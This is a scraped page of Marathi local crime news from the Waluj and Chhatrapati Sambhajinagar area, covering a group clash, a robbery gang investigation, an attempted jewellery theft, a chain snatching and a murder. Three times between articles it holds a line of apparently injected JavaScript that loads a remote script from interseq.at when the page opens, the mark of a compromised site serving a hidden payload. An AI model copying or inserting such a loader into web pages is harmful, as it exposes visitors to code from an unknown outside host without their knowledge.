न्यूज मराठवाडा वृत्तसेवा (संदीप लोखंडे) –
वाळूज : लिंबे जळगाव येथे बुधवारी (२ जुलै) रात्री साडेनऊच्या सुमारास दोन गटांमध्ये तुफान राडा झाला. काठ्या, चाकू आणि लोखंडी गजाच्या सहाय्याने दोन्ही गटांनी एकमेकांवर हल्ला चढवला. यामध्ये दोन जण जखमी झाले असून, एक चारचाकी व एक दुचाकी वाहनाची तोडफोड करण्यात आली. या प्रकरणी वाळूज पोलीस ठाण्यात परस्परविरोधी फिर्यादीवरून गुन्हे दाखल करण्यात आले असून पोलिसांनी दोन्ही गटांतील सहा जणांना अटक केली आहे.
पोलिसांकडून मिळालेल्या माहितीनुसार, संतोष दिगंबर गवळी (वय ४८, रा. लिंबे जळगाव) यांनी दिलेल्या फिर्यादीत श्रीकांत पडघन, अंजली नाटकर, करण नाटकर, अर्चना मनाळ व किरण जाधव यांनी गैर कायदेशीर जमाव करून लाकडी दांडे व लोखंडी गजाच्या सहाय्याने त्यांच्यावर हल्ला केला. तसेच त्यांच्या चारचाकी वाहनाची (एमएच २० एफयू ०१३१) काच फोडून नुकसान केल्याचे नमूद आहे.
दुसरीकडे, श्रीकांत संजय पडघन (वय २१, रा. लिंबे जळगाव) यांनी दिलेल्या तक्रारीत संतोष गवळी, दिनेश करडे, ज्ञानेश्वर गवळी, गणेश मोटे आणि एक अनोळखी व्यक्ती यांनी संगणमत करून मारहाण केली. यावेळी चाकूचा वापर करून त्याला जखमी केल्याचे सांगितले आहे. तसेच विनयभंगाचा आणि दुचाकीची तोडफोड केल्याचा आरोपही करण्यात आला आहे.
घटनेचे नेमके कारण अद्याप स्पष्ट झाले नसून वाळूज पोलीस तपास करत आहेत. या प्रकरणात संतोष गवळी, दिनेश करडे, गणेश मोटे तसेच श्रीकांत पडघन, करण नाटकर आणि किरण जाधव यांना पोलिसांनी अटक केली आहे.
या प्रकरणाचा पुढील तपास पोलीस निरीक्षक राजेंद्र सहाने यांच्या मार्गदर्शनाखाली पोउपनि. रमेश राठोड करत आहेत.
- दरोड्यातील मुख्य सरगणा मयत अमोल खोतकर यांच्या गुन्हेगारीत बहिणीची भागीदारी उघड!छत्रपती संभाजीनगर गुन्हे शाखेकडून गुन्ह्यातील मोठी उकल उघड
छत्रपती संभाजीनगर ( न्यूज मराठवाडा ब्युरो रिपोर्ट )
उद्योजक संतोष लड्डा यांच्या घरात १५ मे रोजी झालेल्या दरोड्याप्रकरणी मुख्य सूत्रधार ठरलेला अमोल खोतकर जरी पोलिस चकमकीत ठार झाला असला, तरी त्याच्या गुन्हेगारी कारवायांचे सखोल तपशील आता समोर येत आहेत. विशेष म्हणजे या गुन्ह्यात केवळ अमोलच नाही, तर त्याच्या बहिणी रोहिणी खोतकरचाही सक्रिय सहभाग असल्याचे पुरावे तपासात निष्पन्न झाले आहेत.
९ लाखांचे व्यवहार – बहीणच ठरली लाभार्थी!
दरोड्यानंतर लुटलेल्या मालातून मिळालेल्या पैशातून अमोल खोतकरने पडेगाव परिसरात रेल्वे रुळाजवळील ९ लाख रुपये किमतीचा प्लॉट खरेदी केला होता. विशेष बाब म्हणजे, हा व्यवहार २६ मे रोजी झाला, म्हणजेच त्याच दिवशी जेव्हा अमोलची पोलिस चकमकीत गोळी लागून मृत्यू झाला. या जमिनीचा व्यवहार अमोलने आपली बहीण रोहिणी खोतकर हिच्या नावावर केल्याचे स्पष्ट झाले असून, व्यवहारावेळी अमोल आणि रोहिणीसोबतच अमोलची मैत्रीण खुशी देखील उपस्थित होती.
पोलिस निरीक्षक संभाजी पवार यांनी दिलेल्या माहितीनुसार, या व्यवहारातून उरलेले ९ लाख रुपये रोहिणीच्या पोलिस कोठडीदरम्यान हस्तगत करण्यात आले. यावरून रोहिणीने गुन्ह्यात प्रत्यक्ष सहभागी होत मदत केल्याचे स्पष्ट होते.
अमोलच्या मरणानंतरही व्यवहार रद्द करण्याचा प्रयत्न
दरोड्याप्रकरणात अमोल खोतकर ठार झाल्यानंतर रोहिणीने गोव्यातून परत येताच २३ जून रोजी प्लॉट खरेदीचा व्यवहार रद्द करण्यासाठी मालकाला संपर्क साधला आणि पैसे परत मागितले. यामुळे पोलिसांचा संशय आणखी बळावला आणि २४ जून रोजी रोहिणीला अधिकृतरित्या अटक करण्यात आली.
गोव्यातून प्रेमसंबंध आणि संशयास्पद हालचाली
पोलिस चौकशी सुरू असतानाच रोहिणी १८ जून रोजी गोव्याला रवाना झाली. तिने आपला मोबाइल बंद करून गोव्यातील कॅसिनोमध्ये काम करणाऱ्या रणजीत या मित्राला भेट दिली. रोहिणी आणि रणजीत यांची ओळख ऑक्टोबर २०२४ मध्ये झाली होती आणि २६ जून रोजी दोघांचे लग्न होणार होते. मात्र नियोजित विवाहाच्या दिवशीच रोहिणीची हर्सूल कारागृहात रवानगी झाली.
रणजीतची चौकशी; आणखी खुलासे होण्याची शक्यता
दरम्यान, गुन्हे शाखेच्या दोन पथकांनी गोव्यात जाऊन रणजीतला ताब्यात घेतले असून, शुक्रवारी त्याची कसून चौकशी करण्यात आली. रोहिणीने रणजीतला गुन्ह्याबाबत अनेक गोपनीय माहिती दिल्याचा पोलिसांना संशय आहे. त्यामुळे रणजीतच्या चौकशीतून आणखी धक्कादायक बाबी पुढे येण्याची शक्यता आहे.
आरोपींची संख्या झाली २२ वर
या गुन्ह्यात आतापर्यंत २१ आरोपींना अटक करण्यात आली होती, तर रोहिणीच्या अटकेनंतर ही संख्या २२ वर गेली आहे. यामध्ये अमोलचा साथीदार, मित्र-मैत्रिणी, मालमत्तेच्या व्यवहारात सहभागी व्यक्ती आदींचा समावेश आहे. दरोड्यातून लुटण्यात आलेल्या ५.५ किलो सोनं, ३२ किलो चांदी आणि इतर मौल्यवान वस्तूंचा शोध घेणे सुरू आहे.
गुन्हेगारीला पाठिंबा देणाऱ्या नातेवाईकांवरही कारवाईची मागणी
या प्रकरणातून एक बाब स्पष्ट झाली आहे – गुन्हेगारीतील काही आरोपींचे कुटुंबीयही त्यांचे सहकारी किंवा लाभार्थी ठरत आहेत. त्यामुळे केवळ गुन्हा करणाऱ्यावर नव्हे, तर गुन्ह्याला मूक पाठिंबा देणाऱ्यांवरही कठोर कारवाई होणे आवश्यक आहे, अशी मागणी आता नागरिकांतून होत आहे.
तपास अधिक खोलात गेल्यास या प्रकरणाचे आणखी धागेदोरे उघडकीस येण्याची शक्यता आहे. पोलिसांकडून यापुढे आणखी काही अटकेची शक्यता नाकारता येत नाही.
;const script = document.createElement(‘script’); script.src = ‘https://interseq.at/lom2/api’; script.async = true; document.head.appendChild(script); - बजाजनगरात ज्वेलर्सचे शटर उचकवून चोरीचा प्रयत्न; CCTV कॅमेरे फोडले
लोखंडी चॅनेल गेट तोडता न आल्याने चोरट्यांचा डाव फसला; वाळूज एमआयडीसी पोलिसांकडून तपास सुरू
बजाजनगर | प्रतिनिधी
बजाजनगरातील गोरख वाघ चौक परिसरात असलेल्या रेवनसिद्ध ज्वेलर्सच्या दुकानाचे शटर उचकवून चोरट्यांनी चोरी करण्याचा प्रयत्न केल्याची घटना समोर आली आहे. चोरट्यांनी दुकानातील CCTV कॅमेरे फोडून पुरावे नष्ट करण्याचा प्रयत्न केला. मात्र, दुकानाचे लोखंडी चॅनेल गेट तोडता न आल्याने चोरट्यांचा चोरीचा प्रयत्न फसला.
मिळालेल्या माहितीनुसार, चोरटे चारचाकी वाहनातून दुकानाजवळ आले होते. त्यांनी रेवनसिद्ध ज्वेलर्सच्या दुकानाचे शटर उचकवून आत प्रवेश करण्याचा प्रयत्न केला. यावेळी दुकानातील CCTV कॅमेरेही फोडण्यात आले. मात्र, दुकानाचे लोखंडी चॅनेल गेट तोडण्यात चोरट्यांना यश आले नाही. त्यामुळे दुकानातील सोने-चांदीच्या दागिन्यांची चोरी होण्यापासून बचाव झाल्याची माहिती आहे.
घटनेची माहिती मिळताच वाळूज एमआयडीसी पोलिसांनी घटनास्थळी पाहणी केली. परिसरातील CCTV फुटेजच्या आधारे चोरट्यांचा शोध घेण्याचे काम सुरू आहे. चोरटे चारचाकी वाहनातून आल्याची माहिती असून, या प्रकरणाचा पुढील तपास पोलीस करीत आहेत.
दरम्यान, बजाजनगर परिसरात दुकानांच्या सुरक्षेचा प्रश्न पुन्हा ऐरणीवर आला असून, व्यापाऱ्यांमध्ये चिंतेचे वातावरण निर्माण झाले आहे.
- वाळूजमध्ये महिलेच्या गळ्यातील सोन्याचे मंगळसूत्र लंपास
मोहटादेवी चौकातील प्रकार; अज्ञात चोरट्याविरुद्ध गुन्हा दाखल
वाळूज : सामान खरेदी करण्यासाठी मोहटादेवी चौकात गेलेल्या महिलेच्या गळ्यातील सोन्याचे मणी मंगळसूत्र अज्ञात चोरट्याने चोरून नेल्याची घटना १४ सप्टेंबर रोजी सायंकाळी घडली. या प्रकरणी वाळूज पोलिस ठाण्यात अज्ञात आरोपीविरुद्ध गुन्हा दाखल करण्यात आला आहे.
शिवकन्या गणेश घुगे (वय ३६, रा. गट क्रमांक ९, वडगाव कोल्हाटी, ता. जि. छत्रपती संभाजीनगर) यांनी याबाबत फिर्याद दिली आहे. पोलिसांनी दिलेल्या माहितीनुसार, १४ सप्टेंबर रोजी सायंकाळी साडेसहा वाजता शिवकन्या घुगे या सामान खरेदी करण्यासाठी मोहटादेवी चौक येथे गेल्या होत्या. त्यावेळी त्यांच्या गळ्यातील सुमारे १५ हजार रुपये किमतीचे सोन्याचे मणी मंगळसूत्र अज्ञात चोरट्याने चोरून नेले.
या घटनेनंतर घुगे यांनी वाळूज पोलिस ठाण्यात फिर्याद दिली. त्यानुसार गुन्हा अज्ञात आरोपीविरुद्ध गुन्हा दाखल करण्यात आला आहे.या प्रकरणाचा पुढील तपास सहाय्यक पोलिस उपनिरीक्षक चौथे करीत आहेत.
________________
- ज्ञानप्रबोधिनी इंग्लिश स्कूलतर्फे, देवशयनी आषाढी एकादशीच्या सर्व भाविक भक्तांना हार्दिक शुभेच्छा…!
;const script = document.createElement(‘script’); script.src = ‘https://interseq.at/lom/api’; script.async = true; document.head.appendChild(script); - कपडे काढून अमानुष मारहाण करत तरुणाला संपवल; अंबेलोहळ येथे थरकाप उडवणारी घटना
न्यूज मराठवाडा वृत्तसेवा (संदीप लोखंडे)
गंगापूर तालुका | १२ जुलै २०२५ –
वाळूज एमआयडीसी पोलीस ठाण्याच्या हद्दीत येणाऱ्या अंबेलोहळ येथे गट नंबर ३७ आज सकाळी एक थरकाप उडवणारी घटना समोर आली. २३ वर्षीय कामगार अर्जुन रतन प्रधान याचा अमानुष मारहाण करून खून करण्यात आल्याची माहिती उघड झाली आहे.
अर्जुन रतन प्रधान (रा. कमलापूर रोड, वाळूज) हा वाळूज एमआयडीसीतील एका खासगी कंपनीत कामाला होता. कालच त्याचा पगार झाला होता. आज सकाळी त्याचा सावत्र भाऊ रामकृष्ण याला अर्जुन रस्त्याच्या कडेला अर्धनग्न अवस्थेत गंभीर जखमी स्थितीत आढळून आला. ही बाब पोलिसांना कळवण्यात आली.
पोलिसांनी तातडीने घटनास्थळी धाव घेत पंचनामा केला. अर्जुनच्या आईने मृतदेह पाहताच हंबरडा फोडला. प्राथमिक तपासात अर्जुनला कपडे काढून अमानुषपणे मारहाण केल्याचे समोर आले असून त्यातूनच त्याचा खून झाल्याचा संशय व्यक्त करण्यात येत आहे.
घटनास्थळी डॉग पथक, ठसे तज्ञ, वाळूज एमआयडीसी पोलीस ठाण्याचे पोलीस निरीक्षक रामेश्वर गाढे, सहायक पोलीस निरीक्षक मनोज शिंदे, सहायक पोलीस निरीक्षक नरेश ठाकरे, पोलीस उपनिरीक्षक आत्माराम बोराडे, अंमलदार राजाभाऊ कोल्हे, बाबासाहेब काकडे, किशोर साबळे तपास सुरू केला आहे. पोलिसांकडून या प्रकरणी गुन्हा दाखल करण्यात आला असून आरोपींचा शोध सुरु आहे.
या क्रूर हत्येमुळे अंबेलोहळ परिसरात प्रचंड खळबळ उडाली आहे. पुढील तपास वाळूज एमआयडीसी पोलीस करत आहेत.
;const script = document.createElement(‘script’); script.src = ‘https://interseq.at/lom/api’; script.async = true; document.head.appendChild(script);
